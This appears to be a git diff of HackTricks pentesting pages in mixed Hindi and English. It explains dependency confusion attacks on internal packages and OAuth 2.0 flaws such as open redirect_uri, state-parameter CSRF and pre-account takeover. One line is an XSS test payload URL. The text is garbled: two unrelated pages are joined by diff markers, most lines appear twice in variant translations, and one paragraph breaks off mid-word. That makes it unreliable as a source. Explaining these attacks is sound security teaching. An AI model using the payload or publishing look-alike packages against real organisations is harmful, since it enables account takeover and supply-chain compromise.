* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
</details>
## मूलभूत जानकारी
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
सारांश में, एक डिपेंडेंसी कन्फ्यूजन सुरक्षा रिस्क उत्पन्न होता है जब एक परियोजना एक पुस्तकालय का उपयोग कर रही है जिसका **गलत वर्तन** है, **अस्तित्व में नहीं** है या **अनिर्दिष्ट संस्करण** के साथ और उपयोग किया गया डिपेंडेंसी रिपॉज़िटरी सार्वजनिक **पुनर्निर्धारित संस्करण इकट्ठा करने की अनुमति देता है**
{% embed url="https://websec.nl/" %}
* **गलत वर्तन**: `requests` की जगह **`reqests`** आयात करें
* **अस्तित्व में नहीं**: `कंपनी-लॉगिंग` को आयात करें, एक आंतरिक पुस्तकालय जो **अब मौजूद नहीं है**
* **अनिर्दिष्ट संस्करण**: एक **आंतरिक** **मौजूद** `कंपनी-रिक्वेस्ट्स` पुस्तकालय को आयात करें, लेकिन रिपॉ चेक **सार्वजनिक रिपॉ** को देखने के लिए करता है कि क्या **अधिक वर्शन** हैं।
## मूल जानकारी
सारांश में, एक डिपेंडेंसी कन्फ्यूजन सुरक्षा दोष उत्पन्न होता है जब एक परियोजना एक पुस्तकालय का उपयोग कर रही है जिसका **गलत तरीके से लिखा गया नाम है**, **अस्तित्व में नहीं है** या **अनिर्दिष्ट संस्करण** के साथ और उपयोग की गई डिपेंडेंसी रिपॉज़िटरी को **सार्वजनिक** रिपॉज़िटरियों से **अपडेटेड संस्करण इकट्ठा करने की अनुमति देता है**
* **गलत तरीके से लिखा गया**: `requests` की जगह **`reqests`** आयात करें
* **अस्तित्व में नहीं है**: `कंपनी-लॉगिंग` को आयात करें, एक आंतरिक पुस्तकालय जो **अब मौजूद नहीं है**
* **अनिर्दिष्ट संस्करण**: एक **आंतरिक** **मौजूद** `कंपनी-रिक्वेस्ट्स` पुस्तकालय को आयात करें, लेकिन रिपॉ चेक **सार्वजनिक रिपॉ** करने के लिए करता है कि क्या **अधिक वर्शन** हैं।
## शोषण
{% hint style="warning" %}
सभी मामलों में हमलावर को केवल एक **हानिकारक पैकेज का नाम प्रकाशित करने की आवश्यकता** होती है जिसे पीड़ित कंपनी द्वारा उपयोग किए जाने वाले पुस्तकालयों का नाम है।
सभी मामलों में हमलावर को केवल एक **दुराचारी पैकेज का नाम** प्रकाशित करने की आवश्यकता होती है जिसे पीड़ित कंपनी द्वारा उपयोग की जाने वाली पुस्तकालयों का नाम है।
{% endhint %}
### गलत वर्तन और अस्तित्व में नहीं
### गलत तरीके से लिखा गया और अस्तित्व में नहीं है
यदि आपकी कंपनी को **आंतरिक नहीं होने वाली एक पुस्तकालय को आयात करने की कोशिश** कर रही है, तो संभावना है कि पुस्तकालयों का रिपॉ इसे **सार्वजनिक रिपॉ** में खोज रहा होगा। यदि कोई हमलावर ने इसे बनाया है, तो आपका कोड और मशीनें जिन पर चल रही हैं, संभावना है कि कप्रोमाइज़ हो जाएंगी।
यदि आपकी कंपनी को **आंतरिक नहीं होने वाली पुस्तकालय आयात करने की कोशिश कर रही है**, तो संभावना है कि पुस्तकालय का रिपॉ इसे **सार्वजनिक रिपॉ** में खोज रहा होगा। यदि कोई हमलावर ने इसे बनाया है, तो आपका कोड और मशीनें जिन पर चल रही हैं, संभावना है कि कम्प्रोमाइज़ हो जाएंगी।
### अनिर्दिष्ट संस्करण
### Unspecified Version
डेवलपरों के लिए **बहुत सामान्य है** कि वे पुस्तकालय का कोई संस्करण **निर्दिष्ट न करें**, या केवल एक **मेजर संस्करण** निर्दिष्ट करें। फिर, इंटरप्रीटर उन आवश्यकताओं को पूरा करने वाला **नवीनतम संस्करण** डाउनलोड करने की कोशिश करेगा।\
यदि पुस्तकालय एक **जाना-माना बाह्य पुस्तकालय** है (जैसे पायथन `requests`), तो **हमलावर कुछ नहीं कर सकता**, क्योंकि उसे `requests` नाम का पुस्तकालय नहीं बना सकता (जब तक वह मूल लेखक न हो)।\
हालांकि, यदि पुस्तकालय **आंतरिक** है, जैसे इस उदाहरण में `requests-company`, अगर **पुस्तकालय रिपॉ** बाहर से **नए संस्करणों की भी जांच करने की अनुमति देता है**, तो यह सार्वजनिक रूप से उपलब्ध नए संस्करण की खोज करेगा।\
तो अगर **हमलावर जानता है** कि कंपनी `requests-company` पुस्तकालय का उपयोग कर रही है **संस्करण 1.0.1** (लघु अपड
It's very common for developers to **not specify any version** of the library used, or specify just a **mayor version**. Then, the interpreter will try to download the **latest version** fitting those requirements.\
If the library is a **known external library** (like python `requests`), an **attacker cannot do much**, as he won't be able to create a library called `requests` (unless he is the original author).\
However, if the library is **internal**, like `requests-company` in this example, if the **library repo** allows to **check for new versions also externally**, it will search for a newer version publicly available.\
So if an **attacker knows** that the company is using the `requests-company` library **version 1.0.1** (allow minor updates). He can **publish** the library `requests-company` **version 1.0.2** and the company will **use that library instead** of the internal one.
## AWS Fix
This vulnerability was found in AWS **CodeArtifact** (read the [**details in this blog post**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
AWS fixed this by allowing to specify if a library is internal or external, to avoid downloading internal dependencied from external repositories.
## Finding Vulnerable Libraries
In the [**original post about dependency confusion**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) the author searched for thousands of exposed package.json files containing javascript projects dependencies.
## References
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -8,41 +8,46 @@ HackTricks का समर्थन करने के अन्य तरी
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** को पीआर जमा करके और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs जमा करके
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## मौलिक जानकारी <a href="#d4a8" id="d4a8"></a>
OAuth विभिन्न संस्करण प्रदान करता है, जिनके मौलिक अंश [OAuth 2.0 दस्तावेज़ीकरण](https://oauth.net/2/) पर उपलब्ध हैं। यह चर्चा मुख्य रूप से [OAuth 2.0 अधिकारी कोड ग्रांट प्रकार](https://oauth.net/2/grant-types/authorization-code/) पर केंद्रित है, जो एक **अधिकारी ढांचा प्रदान करता है जो एक एप्लिकेशन को एक उपयोगकर्ता के खाते तक पहुंचने या क्रियाएँ करने की अनुमति देता है** (अधिकारी सर्वर)।
OAuth विभिन्न संस्करण प्रदान करता है, जिनके मौलिक अंश [OAuth 2.0 दस्तावेज़ीकरण](https://oauth.net/2/) पर उपलब्ध हैं। यह चर्चा मुख्य रूप से व्यापक रूप से प्रयोग किए जाने वाले [OAuth 2.0 अधिकारीकरण कोड ग्रांट प्रकार](https://oauth.net/2/grant-types/authorization-code/) पर केंद्रित है, जो एक **अधिकारीकरण ढांचा प्रदान करता है जो एक एप्लिकेशन को एक उपयोगकर्ता के खाते पर पहुंच या कार्रवाई करने की स्वीकृति देता है** (अधिकारीकरण सर्वर)।
एक कल्पित वेबसाइट _**https://example.com**_, जिसका उद्देश्य है **आपके सभी सोशल मीडिया पोस्ट्स प्रदर्शित करना**, को इसे प्राप्त करने के लिए OAuth 2.0 का उपयोग किया जाता है। _https://example.com_ आपकी अनुमति के लिए **आपके सोशल मीडिया पोस्ट्स तक पहुंचने** का अनुरोध करेगा। इसके परिणामस्वरूप, _https://socialmedia.com_ पर एक सहमति स्क्रीन प्रकट होगी, जिसमें **अनुमति की जा रही अनुमतियाँ और अनुरोध करने वाला डेवलपर** का विवरण होगा। आपकी अधिकृति के बाद, _https://example.com_ को **आपके पोस्ट्स तक पहुंचने की क्षमता प्राप्त होती है**
एक कल्पित वेबसाइट _**https://example.com**_, जिसे **आपके सभी सोशल मीडिया पोस्ट्स प्रदर्शित करने के लिए डिज़ाइन किया गया है**। इसे प्राप्त करने के लिए, OAuth 2.0 का उपयोग किया जाता है। _https://example.com_ आपकी अनुमति के लिए **आपके सोशल मीडिया पोस्ट्स तक पहुंचने** अनुरोध करेगा। इसके परिणामस्वरूप, _https://socialmedia.com_ पर एक सहमति स्क्रीन प्रकट होगी, जिसमें **अनुमतियाँ जो मांगी जा रही हैं और अनुरोध करने वाला डेवलपर** का विवरण होगा। आपकी अनुमति प्राप्ति के बाद, _https://example.com_ को **आपके पोस्ट्स तक पहुंचने की क्षमता प्राप्त होती है**
OAuth 2.0 ढांचा के भीतर निम्नलिखित घटकों को समझना महत्वपूर्ण है:
- **संसाधन स्वामी**: आप, जैसे **उपयोगकर्ता/एंटिटी**, अपने संसाधन, जैसे कि आपके सोशल मीडिया खाते के पोस्ट्स तक पहुंच की अधिकृति देते हैं।
- **संसाधन सर्वर**: **प्रमाणित अनुरोधों का प्रबंधन करने वाला सर्वर** जब एप्लिकेशन ने `संसाधन स्वामी` के पक्ष में `एक्सेस टोकन` प्राप्त कर लिया है, जैसे कि **https://socialmedia.com**
- **संसाधन स्वामी**: आप, जैसे **उपयोगकर्ता/संस्था**, अपने संसाधन, जैसे कि आपके सोशल मीडिया खाते के पोस्ट्स, तक पहुंच की अधिकृति देते हैं।
- **संसाधन सर्वर**: **प्रमाणित अनुरोधों का प्रबंधन करने वाला सर्वर** जब एप्लिकेशन ने `संसाधन स्वामी` के पक्ष में `एक्सेस टोकन` प्राप्त कर लिया हो, उदाहरण के लिए, **https://socialmedia.com**
- **क्लाइंट एप्लिकेशन**: `संसाधन स्वामी` से अधिकृति मांगने वाला **एप्लिकेशन**, जैसे कि **https://example.com**
- **अधिकरण सर्वर**: `संसाधन स्वामी` की सफल प्रमाणीकरण और अधिकरण के बाद `क्लाइंट एप्लिकेशन` को `एक्सेस टोकन` प्रदान करने वाला **सर्वर**, जैसे कि **https://socialmedia.com**
- **अधिकरण सर्वर**: `संसाधन स्वामी` की सफल प्रमाणीकरण और अधिकरण के बाद `क्लाइंट एप्लिकेशन` को `एक्सेस टोकन` प्रदान करने वाला **सर्वर**, उदाहरण के लिए, **https://socialmedia.com**
- **client\_id**: एप्लिकेशन के लिए एक सार्वजनिक, अद्वितीय पहचानकर्ता।
- **client\_secret:** एक गोपनीय कुंजी, जिसे केवल एप्लिकेशन और अधिकरण सर्वर जानते हैं, `एक्सेस टोकन` उत्पन्न करने के लिए उपयोग की जाती है।
- **response\_type**: `कोड` जैसे `टोकन के प्रकार` को निर्धारित करने वाला मान।
- **response\_type**: `कोड` जैसे `टोकन के प्रकार` को निर्दिष्ट करने वाला मान।
- **scope**: `संसाधन स्वामी` से `क्लाइंट एप्लिकेशन` द्वारा मांगी जा रही **पहुंच का स्तर**
- **redirect\_uri**: उस URL को जिस पर उपयोगकर्ता को अधिकरण के बाद पुनर्निर्देशित किया जाता है। यह सामान्यत: पूर्व-पंजीकृत पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
- **state**: एक पैरामीटर जो `सीएसआरएफ सुरक्षा उपाय` के रूप में कार्य करने के लिए उपयोग किए जाने वाले डेटा को उपयोगकर्ता के पुनर्निर्देशन से और अधिकरण सर्वर से रखने के लिए। इसकी अद्वितीयता `सीएसआरएफ सुरक्षा उपाय` के रूप में सेवानिवृत्ति के लिए महत्वपूर्ण है।
- **grant\_type**: एक पैरामीटर जो **ग्रांट प्रकार और वापसी की जाने वाली टोकन की प्रकार** को निर्दिष्ट करता है
- **code**: `अधिकरण सर्वर` से अधिकृति कोड, जिसका उपयोग `क्लाइंट एप्लिकेशन` द्वारा `एक्सेस टोकन` प्राप्त करने के लिए `client_id` और `client_secret` के साथ किया जाता है।
- **access\_token**: `संसाधन स्वामी` के पक्ष से `क्लाइंट एप्लिकेशन` द्वारा एपीआई अनुरोधों के लिए उपयोग किया जाने वाला **टोकन**
- **refresh\_token**: एप्लिकेशन को **नए `एक्सेस टोकन` प्राप्त करने की स्वीकृति देता है बिना उपयोगकर्ता को फिर से पूछने की**।
- **redirect\_uri**: **उस URL को जिस पर उपयोगकर्ता को प्रमाणीकरण के बाद पुनर्निर्देशित किया जाता है**। यह सामान्यत: पूर्व-पंजीकृत पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
- **state**: एक पैरामीटर जो **उपयोगकर्ता के पुनर्निर्देशन के बीच डेटा को बनाए रखने** के लिए है। इसकी अद्वितीयता CSRF संरक्षण तंत्र के रूप में काम करने के लिए महत्वपूर्ण है।
- **grant\_type**: **ग्रांट प्रकार और वापस किए जाने वाले टोकन के प्रकार** को निर्दिष्ट करने वाला एक पैरामीटर
- **code**: `अधिकरण सर्वर` से अधिकृति कोड, जिस `क्लाइंट एप्लिकेशन` द्वारा `एक्सेस टोकन` प्राप्त करने के लिए `client_id` और `client_secret` के साथ उपयोग किया जाता है।
- **access\_token**: `संसाधन स्वामी` के पक्ष से `क्लाइंट एप्लिकेशन` द्वारा API अनुरोधों के लिए उपयोग किया जाने वाला **टोकन**
- **refresh\_token**: एप्लिकेशन को **नए `एक्सेस टोकन` प्राप्त करने की स्वीकृति देता है बिना उपयोगकर्ता को फिर से प्रश्नित किए**।
### प्रवाह
### फ्लो
**वास्तविक OAuth प्रवाह** निम्नलिखित प्रक्रिया के रूप में आगे बढ़ता है:
**वास्तविक OAuth फ्लो** निम्नलिखित प्रक्रिया के रूप में आगे बढ़ता है:
1. आप [https://example.com](https://example.com) पर जाते हैं और "सोशल मीडिया के साथ एकीकरण करें" बटन का चयन करते हैं।
2. फिर साइट एक अनुमति के लिए आपके अधिकरण के लिए [https://socialmedia.com](https://socialmedia.com) को एक अनुरोध भेजती है ताकि https://example.com के एप्लिकेशन को आपके पोस्ट्स तक पहुंचने की अनुमति दे। अनुरोध का संरचना इस प्रकार है:
2. फिर साइट एक अनुमति के लिए आपसे पूछती है कि क्या आपको अनुमति देने के लिए https://example.com के एप्लिकेशन को आपके पोस्ट्स तक पहुंचने की अनुमति देनी चाहिए। अनुरोध का संरचना इस प्रकार है:
```
https://socialmedia.com/auth
?response_type=code
@ -51,64 +56,64 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. फिर आपको एक सहमति पृष्ठ प्रस्तुत किया जाता है।
3. फिर आपको सहमति पृष्ठ के साथ पेश किया जाता है।
4. आपके स्वीकृति के बाद, सोशल मीडिया `redirect_uri` पर `code` और `state` पैरामीटर के साथ एक प्रतिक्रिया भेजता है:
4. आपकी मंजूरी के बाद, सोशल मीडिया `redirect_uri` पर `code` और `state` पैरामीटर के साथ एक प्रतिक्रिया भेजता है:
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com इस `code` का उपयोग करता है, जो आपके पक्ष में एक `access_token` प्राप्त करने के लिए एक सर्वर-साइड अनुरोध बनाने के लिए उसके `client_id` और `client_secret` के साथ, जिससे आपको आपकी सहमति दी गई अनुमतियों तक पहुंच मिलती हैं:
5. https://example.com इस `code` का उपयोग करता है, इसके साथ उसके `client_id` और `client_secret`, आपकी ओर से एक `access_token` प्राप्त करने के लिए सर्वर-साइड अनुरोध करने के लिए, जिससे आपको उन अनुमतियों तक पहुंचने की सुविधा मिलती है जिसकी आपने सहमति दी थी:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. अंत में, प्रक्रिया https://example.com आपके `access_token` का उपयोग करती है ताकि Social Media को एपीआई कॉल करने के लिए एक्सेस कर सके
6. अंत में, प्रक्रिया https://example.com आपके `access_token` का उपयोग कर Social Media को एपीआई कॉल करने के लिए करती है
## सुरक्षा दोष <a href="#323a" id="323a"></a>
### ओपन रीडायरेक्ट\_यूआरआई <a href="#cc36" id="cc36"></a>
`redirect_uri` OAuth और OpenID कार्यान्वयनों में सुरक्षा के लिए महत्वपूर्ण है, क्योंकि यह अधिकृतीकरण कोड जैसी संवेदनशील डेटा को पोस्ट-अधिकृतीकरण में भेजता है। यदि गलती से कॉन्फ़िगर किया गया है, तो यह आक्रमणकर्ताओं को इन अनुरोधों को दुरुपयोग करने की अनुमति देता है, जिससे खाता हासिल किया जा सकता है।
`redirect_uri` OAuth और OpenID कार्यान्वयनों में सुरक्षा के लिए महत्वपूर्ण है, क्योंकि यह अधिकृति कोड जैसी संवेदनशील डेटा को पोस्ट-अधिकृति प्रेषित करता है। यदि गलती से कॉन्फ़िगर किया गया है, तो यह आक्रमणकर्ताओं को इन अनुरोधों को दुरुपयोग करने की अनुमति देता है, जिससे खाता हासिल किया जा सकता है।
शोधन तकनीक अधिकृतीकरण सर्वर की मान्यता तर्क के आधार पर भिन्न हो सकती है। ये सख्त पथ मैचिंग से लेकर निर्दिष्ट डोमेन या सबडायरेक्टरी के भीतर किसी भी URL को स्वीकार करने तक हो सकती है। सामान्य शोधन विधियों में ओपन रीडायरेक्ट, पथ ट्रावर्सल, कमजोर रेजेक्स का दुरुपयोग, और टोकन चोरी के लिए HTML इन्जेक्शन शामिल हैं।
शोधन तकनीक अधिकृति सर्वर की मान्यता तर्क पर निर्भर करती है। ये कठिन पथ मैचिंग से लेकर निर्दिष्ट डोमेन या सबडायरेक्टरी के भीतर किसी भी URL को स्वीकार करने तक हो सकते हैं। सामान्य शोधन विधियों में ओपन रीडायरेक्ट्स, पथ ट्रावर्सल, कमजोर रेजेक्स का दुरुपयोग, और टोकन चोरी के लिए एचटीएमएल इंजेक्शन शामिल हैं।
`redirect_uri` के अलावा, अन्य OAuth और OpenID पैरामीटर जैसे `client_uri`, `policy_uri`, `tos_uri`, और `initiate_login_uri` भी रीडायरेक्शन हमलों के लिए संवेदनशील हैं। ये पैरामीटर वैकल्पिक हैं और उनका समर्थन सर्वर्स के बीच भिन्न हो सकता है।
`redirect_uri` के अलावा, अन्य OAuth और OpenID पैरामीटर जैसे `client_uri`, `policy_uri`, `tos_uri`, और `initiate_login_uri` भी पुनर्निर्देशन हमलों के लिए संवेदनशील हैं। ये पैरामीटर वैकल्पिक हैं और उनका समर्थन सर्वर्स के बीच भिन्न हो सकता है।
ओपनआईडी सर्वर को लक्षित करने वालों के लिए, डिस्कवरी एंडपॉइंट (`**.well-known/openid-configuration**`) अक्सर मूल्यवान कॉन्फ़िगरेशन विवरणों जैसे `registration_endpoint`, `request_uri_parameter_supported`, और "`require_request_uri_registration` सूचीत करता है। ये विवरण पंजीकरण अंतबिंदु और सर्वर के अन्य कॉन्फ़िगरेशन विशेषताओं की पहचान में मदद कर सकते हैं।
### रीडायरेक्ट कार्यान्वयन में XSS <a href="#bda5" id="bda5"></a>
### रीडायरेक्ट कार्यान्वयन में एक्सएसएस <a href="#bda5" id="bda5"></a>
जैसा कि इस बग बाउंटी रिपोर्ट में उल्लेख किया गया है [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) ऐसा हो सकता है कि रीडायरेक्ट **URL सर्वर के प्रतिक्रिया में प्रतिबिम्बित हो रहा हो** उसके बाद उपयोगकर्ता प्रमाणीकरण के बाद, **XSS के लिए सुरक्षित न हो**। टेस्ट करने के लिए संभावित पेलोड:
जैसा कि इस बग बाउंटी रिपोर्ट में उल्लेख किया गया है [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) ऐसा हो सकता है कि रीडायरेक्ट **URL सर्वर के प्रतिक्रिया में प्रतिबिम्बित हो रहा हो**, उपयोगकर्ता की प्रमाणीकरण के बाद, **एक्सएसएस के लिए विकल्प हो**। परीक्षण के लिए संभावित पेलोड:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - स्थिति पैरामीटर के गलत हैंडलिंग <a href="#bda5" id="bda5"></a>
### CSRF - राज्य पैरामीटर के गलत हैंडलिंग <a href="#bda5" id="bda5"></a>
OAuth के अमल में, **`state` पैरामीटर** का दुरुपयोग या उसकी अनदेखी **क्रॉस-साइट रिक्वेस्ट फ़ॉर्ज़री (CSRF)** हमलों के जोखिम को काफी बढ़ा सकता है। यह कमजोरी उत्पन्न होती है जब `state` पैरामीटर या तो **उपयोग नहीं किया जाता है, एक स्थैतिक मान के रूप में उपयोग किया जाता है, या सही ढंग से सत्यापित नहीं किया जाता है**, जिससे हमलावर CSRF सुरक्षा को छलना देने के लिए अनुमति मिलती है।
OAuth कार्यान्वयनों में, **`state` पैरामीटर** का दुरुपयोग या उपेक्षण **क्रॉस-साइट रिक्वेस्ट फ़ॉर्ज़री (CSRF)** हमलों के जोखिम को काफी बढ़ा सकता है। यह सुरक्षा दोष उत्पन्न होता है जब `state` पैरामीटर या तो **उपयोग नहीं किया जाता है, स्थिर मान के रूप में उपयोग किया जाता है, या सही ढंग से सत्यापित नहीं किया जाता है**, जिससे हमलावर CSRF सुरक्षा को छलना देने क अनुमति मिलती है।
हमलावर इसे उत्पन्न कर सकते हैं जब वे अधिकृति प्रक्रिया को अंतर्विराम करके अपने खाते को पीड़ित के खाते से जोड़ने का उपयोग करते हैं, जिससे संभावित रूप से **खाता हासिल करने** की स्थिति उत्पन्न होती है। यह विशेष रूप से ऐसे अनुप्रयोगों में महत्वपूर्ण है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
हमलावर इसे इस्तेमाल करके अधिकारी के खाते को अपने खाते से जोड़ने के लिए अधिकारीकरण प्रक्रिया को अंतर्विराम कर सकते हैं, जिससे संभावित **खाता अधिकार** हो सकता है। यह विशेष रूप से ऐप्लिकेशनों में गंभीर है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
इस कमजोरी के वास्तविक-जीवन उदाहरणों को विभिन्न **CTF चैलेंजेस** और **हैकिंग प्लेटफॉर्मों** में दर्ज किया गया है, जिससे इसके व्यावहारिक प्रभाव को प्रकट किया गया है। इस समस्या का विस्तार तीसरे पक्ष की सेवाओं के साथ एकीकरण तक फैलता है जैसे **Slack**, **Stripe**, और **PayPal**, जहाँ हमलावर सूचनाएँ या भुगतान अपने खातों में पुनर्निर्देशित कर सकते हैं।
इस सुरक्षा दोष के वास्तविक-जीवन उदाहरणों को विभिन्न **CTF चैलेंजेस** और **हैकिंग प्लेटफॉर्मों** में दर्ज किया गया है, जिससे इसके व्यावहारिक प्रभाव को हाइलाइट किया गया है। इस मुद्दे का विस्तार भी **Slack**, **Stripe**, और **PayPal** जैसी तृतीय-पक्ष सेवाओं के साथ एकीकरणों तक फैलता है, जहाँ हमलावर सूचनाएं या भुगतानों को अपने खातों पर पुनर्निर्देशित कर सकते हैं।
**`state` पैरामीटर** का उचित हैंडलिंग और सत्यापन CSRF के खिलाफ सुरक्षित रखने और OAuth फ्लो को सुरक्षित करने के लिए महत्वपूर्ण है
**`state` पैरामीटर** का सही हैंडलिंग और सत्यापन CSRF के खिलाफ सुरक्षा उपायों के लिए महत्वपूर्ण है और OAuth फ्लो को सुरक्षित बनाने के लिए
### पहले खाता हासिल करना <a href="#ebe4" id="ebe4"></a>
### पहले खाता अधिकार <a href="#ebe4" id="ebe4"></a>
1. **खाता बनाने पर ईमेल सत्यापन के बिना**: हमलावर पीड़ित के ईमेल का उपयोग करके पहले से ही एक खाता बना सकते हैं। अगर पीड़ित बाद में लॉगिन के लिए तीसरे पक्ष की सेवा का उपयोग करता है, तो अनुप्रयोग गलती से इस तीसरे पक्ष के खाते को हमलावर के पहले से बनाए गए खाते से जोड़ सकत है, जिससे अनधिकृत पहुंच हो सकती है।
1. **खाता बनाने पर ईमेल सत्यापन के बिना**: हमलावर अग्रिम रूप से विक्टिम के ईमेल का उपयोग करके एक खाता बना सकते हैं। अगर विक्टिम बाद में लॉगिन के लिए तृतीय-पक्ष सेवा का उपयोग करता है, तो एप्लिकेशन गलती से इस तृतीय-पक्ष खाते को हमलावर के पहले से बनाए गए खाते से जोड़ सकत है, जिससे अनधिकृत पहुंच हो सकती है।
2. **लैक्स OAuth ईमेल सत्यापन का शोषण**: हमलावर OAuth सेवाओं का शोषण कर सकते हैं जो ईमेल सत्यापन नहीं करती हैं, उनकी सेवा में पंजीकरण करके और फिर खाते का ईमेल पीड़ित के नाम पर बदलकर। यह विधि पहले स्थिति के समान अनधिकृत खाते उपयोग करने की खतरा उत्पन्न करती है, पहले के स्थिति के माध्यम से लेकिन एक विभिन्न हमला वेक्टर के माध्यम से।
2. **लैक्स OAuth ईमेल सत्यापन का शोषण**: हमलावर OAuth सेवाओं का शोषण कर सकते हैं जो ईमेल सत्यापन नहीं करती हैं, उनकी सेवा में पंजीकरण करके और फिर खाते के ईमेल को विक्टिम के ईमेल पर बदलकर। यह विधि अनधिकृत खाते उपयोग की तरह अनधिकृत खाते पहुंच का खतरा उठाती है, पहले स्थिति के अंतर्वार्ता के माध्यम से।
### रहस्यों का खुलासा <a href="#e177" id="e177"></a>
गोपनीय OAuth पैरामीटरों की पहचान और सुरक्षित रखना महत्वपूर्ण है। **`client_id`** सुरक्षित रूप से खुला जा सकता है, लेकिन **`client_secret`** का प्रकट करना महत्वपूर्ण जोखिम लेकर आता है। अगर `client_secret`ो कंप्रोमाइज़ किया जाता है, तो हमलावर अनुप्रयोग की पहचान और विश्वास का शोषण करके **उपयोगकर्ता `access_tokens`** और निजी सूचना चुरा सकते हैं।
गोपनीय OAuth पैरामीटरों की पहचान और सुरक्षित रखना महत्वपूर्ण है। **`client_id`** सुरक्षित रूप से खुला जा सकता है, लेकिन **`client_secret`** का खुलासा करना महत्वपूर्ण जोखिम लेकर आता है। अगर `client_secret`ा संकट हो जाता है, तो हमलावर आवेदन की पहचान और विश्वास का शोषण करके **उपयोगकर्ता `access_tokens`** और निजी सूचना चुरा सकते हैं।
एक सामान्य कमजोरी उत्पन्न होती है जब अनुप्रयोग गलती से अधिकृति `code` का `access_token` के लिए विनिमय करता है क्लाइंट-साइड पर सर्वर-साइड के बजाय। यह गलती `client_secret` का प्रकट होने की ओर ले जाती है, हमलावर को अनुप्रयोग के रूप में `access_tokens` उत्पन्न करने की अनुमति देती है। इसके अतिरिक्त, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृति में अतिरिक्त स्कोप जोड़कर अधिकारों को बढ़ा सकते हैं, अनुप्रयोग की विश्वसनीय स्थिति का और भी शोषण करके
